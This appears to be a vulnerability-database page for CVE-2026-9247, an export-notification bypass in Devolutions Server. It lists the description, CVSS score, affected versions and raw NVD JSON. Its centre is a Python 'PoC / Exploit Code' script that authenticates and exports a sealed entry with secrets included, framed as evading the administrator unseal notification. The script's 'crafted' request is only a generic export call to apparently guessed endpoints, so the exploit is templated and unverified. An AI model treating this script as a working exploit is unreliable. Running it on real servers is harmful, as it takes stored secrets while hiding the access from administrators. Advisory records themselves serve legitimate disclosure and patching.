CVE-2026-9247

Description

Insufficient logging in the entry export feature in Devolutions Server allows an authenticated user with export permissions to export a sealed entry without triggering the unseal notification to administrators via a crafted export request. This issue affects : * Devolutions Server 2026.1.6.0 through 2026.1.16.0 * Devolutions Server 2025.3.20.0 and earlier

CVSS Details

CVSS Score

2.4

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE

Devolutions Server 2026.1.6.0 - 2026.1.16.0

Devolutions Server 2025.3.20.0 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-9247 PoC - Devolutions Server 密封条目导出绕过通知
# 需要认证和导出权限

import requests
import json

TARGET_URL = "https://target-server/api"
USERNAME = "attacker"
PASSWORD = "password"
SEALED_ENTRY_ID = "target-sealed-entry-id"

def authenticate():
    """获取认证令牌"""
    response = requests.post(
        f"{TARGET_URL}/auth/login",
        json={"username": USERNAME, "password": PASSWORD}
    )
    return response.json().get('token')

def export_sealed_entry(token, entry_id):
    """导出密封条目（绕过通知机制）"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    
    payload = {
        "entry_ids": [entry_id],
        "export_format": "json",
        "include_secrets": True
    }
    
    # 关键：构造的导出请求不会触发管理员通知
    response = requests.post(
        f"{TARGET_URL}/entries/export",
        headers=headers,
        json=payload
    )
    
    return response.status_code, response.json()

# 执行攻击
token = authenticate()
status, result = export_sealed_entry(token, SEALED_ENTRY_ID)
print(f"Status: {status}")
print(f"Result: {result}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9247
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9247
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9247/
[4] VulDB https://vuldb.com/cve/CVE-2026-9247
[5] https://devolutions.net/security/advisories/DEVO-2026-0013/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9247", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:25.760", "lastModified": "2026-05-22T19:03:21.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient logging in the entry export feature in Devolutions Server allows an authenticated user with export permissions to export a sealed entry without triggering the unseal notification to administrators via a crafted export request.\n\nThis issue affects :\n\n * Devolutions Server 2026.1.6.0 through 2026.1.16.0\n * Devolutions Server 2025.3.20.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-778"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.22.0", "matchCriteriaId": "6E689234-ABCB-49B5-AD17-00C2E2FC3B11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "02811CA7-5B80-47D7-B826-18B3CB1213E9"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}